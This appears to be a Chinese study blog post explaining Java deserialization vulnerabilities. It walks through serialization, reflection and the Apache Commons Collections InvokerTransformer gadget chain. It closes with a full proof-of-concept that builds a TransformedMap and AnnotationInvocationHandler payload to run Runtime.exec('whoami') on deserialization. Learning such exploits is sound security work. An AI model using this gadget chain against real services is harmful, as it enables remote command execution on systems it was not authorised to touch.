zoukankan      html  css  js  c++  java
  • java反序列化漏洞原理研习

    零、Java反序列化漏洞

      java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢,组里多位大佬对反序列化漏洞都有颇深的研究,借此机会,努力学习,作为狼群中的哈士奇希望成功的继续伪装下去,不被识破,哈哈哈哈!!!

    参考文档:感谢所有参考文献的作者:

    1、https://www.cnblogs.com/bencakes/p/6139477.html

    2、https://www.cnblogs.com/ssooking/p/5875215.html

    3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

    一、Java的序列化与反序列化:

    在这里我们直接自己定义一个类,然后对这个类的对象(一个实例)进行序列化和发序列化测试。

     1 //引入必要的java包文件
     2 import java.io.*;
     3 
     4 //创建测试类,注意要继承Serializable接口
     5 class serialdemo implements Serializable{
     6     public static int number;
     7     public serialdemo(int inputnum) {
     8         this.number = inputnum;
     9     }
    10 } 
    11 
    12 //主类
    13 public class test{
    14     //测试主类
    15     public static void main(String[] args) throws IOException, ClassNotFoundException {
    16         //主函数入口
    17         serialdemo object = new serialdemo(100);
    18         FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象
    19         ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象
    20         outputstream.writeObject(object);//把类对象(实例)序列化进入文件
    21         outputstream.close();
    22         FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象
    23         ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化
    24         // 通过反序列化恢复对象obj
    25         serialdemo object2 = (serialdemo)inputstream.readObject();
    26         System.out.println("反序列化后的对象的值:");
    27         System.out.println(object2.number);
    28         inputstream.close();
    29     }
    30 }

    既然自己定义的类都可以了,那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下:

    1 └─[$]> java test
    2 反序列化后的对象的值:
    3 100

     二、对java序列化的详解:

    1、api定位:

    1 /*
    2 java.io.ObjectOutputStream  ->   writeObject()
    3 java.io.ObjectInputStream    ->    readObject()
    4 序列化把对象序列化成字节流
    5 反序列化读取字节流反序列化对象
    6 */

    2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

    3、java的反射机制:

    /*
    在java运行状态中
    1.对于任何一个类,都能判断对象所属的类;
    2.对于任何一个类,都能获取其所有的属性和方法;
    3.对于任何一个对象,都能调用任意一个方法和属性;
    */

    三、反序列化的漏洞原理概述:

    1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至getshell等等。

    2、Apache Commons Collections

    这是开源小组Apache研发的一个Collections收集器框架,提供诸如list、set、queue等功能对象。这个框架中有一个接口,其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。这个架构的广泛使用,也导致了java反序列化漏洞的大面积流行。

    3、java执行系统命令:

     1 //命令执行函数
     2 public void test() throws IOException, InterruptedException {
     3         Process process = Runtime.getRuntime().exec("whoami");
     4         InputStream inputstream = process.getInputStream();
     5         BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
     6         process.waitFor();
     7         if (process.exitValue() != 0) {
     8             //说明命令执行失败
     9             //可以进入到错误处理步骤中
    10         }
    11         //打印输出信息
    12         String s = null;
    13         while ((s = reader.readLine()) != null) {
    14             System.out.println(s);
    15         }
    16     }

    简介:

    Runtime.getRuntime().exec("command_string");

    回显呢:

    Process process = Runtime.getRuntime().exec("command_string");

    InputStream inputstream = process.getInputStream();

    BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

    System.out.prinln(reader.readLine());

    把上面结合起来就是序列化的打法。

    四、关于反射链

    以前一直不理解反射链是什么定西,现在我们来看看接口源代码:

    我们来理一理这一段:

    开始:

    可以看出来这个方法,属于一个对象,输出另外一个对象,完成了类型的转换。同时这个接口还可以串联完成一系列的转换,构成反射链。

    Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

     1 public class InvokerTransformer implements Transformer, Serializable {
     2 
     3 ...
     4 
     5     /*
     6         Input参数为要进行反射的对象,
     7         iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
     8         iArgs为对应方法的参数
     9         在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
    10     */
    11     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    12         super();
    13         iMethodName = methodName;
    14         iParamTypes = paramTypes;
    15         iArgs = args;
    16     }
    17 
    18     public Object transform(Object input) {
    19         if (input == null) {
    20             return null;
    21         }
    22         try {
    23             Class cls = input.getClass();
    24             Method method = cls.getMethod(iMethodName, iParamTypes);
    25             return method.invoke(input, iArgs);
    26 
    27         } catch (NoSuchMethodException ex) {
    28             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    29         } catch (IllegalAccessException ex) {
    30             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    31         } catch (InvocationTargetException ex) {
    32             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    33         }
    34     }
    35 
    36 }

    只需要传入方法名、参数类型和参数,即可调用任意函数。

    在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()。因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

     五、poc原理分析:

    参考大牛博客,给出一个原理解释知识点

    1 ConstantTransformer
    2 把一个对象转化为常量,并返回。
    3 
    4 InvokerTransformer
    5 通过反射,返回一个对象
    6 
    7 ChainedTransformer
    8 ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer

    不得不说上面大牛博客分析的大段的代码原理我基本都不懂,因为不是java程序员的我对此真是摸不着头脑,但是我们可以做如下总结:

    1 /*
    2 1、java反序列化可以远程执行命令。
    3 2、java执行命令用到Runtime.getRuntime().exec("whoami");
    4 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化,形成反射链。
    5 4、ConstantTransformer可以把对象转换为常量返回。
    6 5、ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
    7 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
    8 */

    POC的思路:

    1 /*
    2 1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
    3 2)生成一个TransformedMap实例
    4 3)实例化AnnotationInvocationHandler,并对其进行序列化,
    5 4)当触发readObject()反序列化的时候,就能实现命令执行。
    6 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
    7 */

    分析大牛poc核心代码逻辑:

      1 /*
      2 核心逻辑表达式:
      3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
      4 主函数中:
      5 1、定义一个要执行的命令字符串:String commandstring = "whoami";
      6 2、定义一个执行逻辑:
      7 Transformer[] transformers = new Transformer[] {
      8   new ConstantTransformer(Runtime.class),
      9   new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
     10   new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
     11   new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
     12 }
     13 3、执行逻辑转化操作(ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作):
     14 Transformer transformedChain = new ChainedTransformer(transformers);
     15 4、后面是关于不关心的东西,写死即可:
     16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
     17 BeforeTransformerMap.put("hello", "hello");
     18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
     19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
     20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
     21 ctor.setAccessible(true);
     22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
     23 File f = new File("temp.bin");
     24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
     25 out.writeObject(instance);
     26 */
     27 
     28 //引入必要的java包文件
     29 import java.io.File;
     30 import java.io.FileInputStream;
     31 import java.io.FileNotFoundException;
     32 import java.io.FileOutputStream;
     33 import java.io.IOException;
     34 import java.io.ObjectInputStream;
     35 import java.io.ObjectOutputStream;
     36 import java.lang.annotation.Retention;
     37 import java.lang.reflect.Constructor;
     38 import java.util.HashMap;
     39 import java.util.Map;
     40 import java.util.Map.Entry;
     41 
     42 //引入第三方包文件,也就是关于apache的那几个包
     43 import org.apache.commons.collections.Transformer;
     44 import org.apache.commons.collections.functors.ChainedTransformer;
     45 import org.apache.commons.collections.functors.ConstantTransformer;
     46 import org.apache.commons.collections.functors.InvokerTransformer;
     47 import org.apache.commons.collections.map.TransformedMap;
     48 
     49 //主类
     50 public class POC_Test{
     51     public static void main(String[] args) throws Exception {
     52         //定义待执行的命令:
     53         String commandstring = "whoami";
     54         //定义一个反射链,确定预定的转化逻辑
     55         /*
     56           定义一个反射链的方法:
     57           Transformer[] varitename = new Transformer[] {
     58             new ConstantTransformer(Runtime.class),
     59             new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
     60             new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
     61             new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
     62           }
     63         */
     64         Transformer[] transformers = new Transformer[] {
     65             new ConstantTransformer(Runtime.class),
     66             /*
     67             由于Method类的invoke(Object obj,Object args[])方法的定义
     68             所以在反射内写new Class[] {Object.class, Object[].class }
     69             正常POC流程举例:
     70             ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
     71             */
     72             new InvokerTransformer(
     73                 "getMethod",
     74                 new Class[] {String.class, Class[].class },
     75                 new Object[] {"getRuntime", new Class[0] }
     76             ),
     77             new InvokerTransformer(
     78                 "invoke",
     79                 new Class[] {Object.class,Object[].class },
     80                 new Object[] {null, null }
     81             ),
     82             new InvokerTransformer(
     83                 "exec",
     84                 new Class[] {String[].class },
     85                 new Object[] { commandstring }
     86                 //new Object[] { execArgs }
     87             )
     88         };
     89 
     90         //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
     91         Transformer transformedChain = new ChainedTransformer(transformers);
     92 
     93         //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
     94         //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
     95         Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
     96         BeforeTransformerMap.put("hello", "hello");
     97 
     98         //Map数据结构,转换后的Map
     99        /*
    100        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
    101             第一个参数为待转化的Map对象
    102             第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
    103             第三个参数为Map对象内的value要经过的转化方法。
    104        */
    105         //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
    106         Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
    107         Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    108         Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    109         ctor.setAccessible(true);
    110         Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
    111         File f = new File("temp.bin");
    112         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
    113         out.writeObject(instance);
    114     }
    115 }
    116 
    117 /*
    118 思路:构建BeforeTransformerMap的键值对,为其赋值,
    119      利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
    120      对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行
    121 
    122      执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
    123      利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
    124 
    125 */
  • 相关阅读:
    数据结构 图的接口定义与实现分析(超详细注解)
    数据结构-优先队列 接口定义与实现分析
    什么是梯度?
    javascript当中火狐的firebug如何单步调试程序?
    给出一个javascript的Helloworld例子
    lvs dr 模型配置详解
    数据库连接池
    JDBC事务管理
    JDBC工具类:JDBCUtils
    详解JDBC对象
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8448967.html
Copyright © 2011-2022 走看看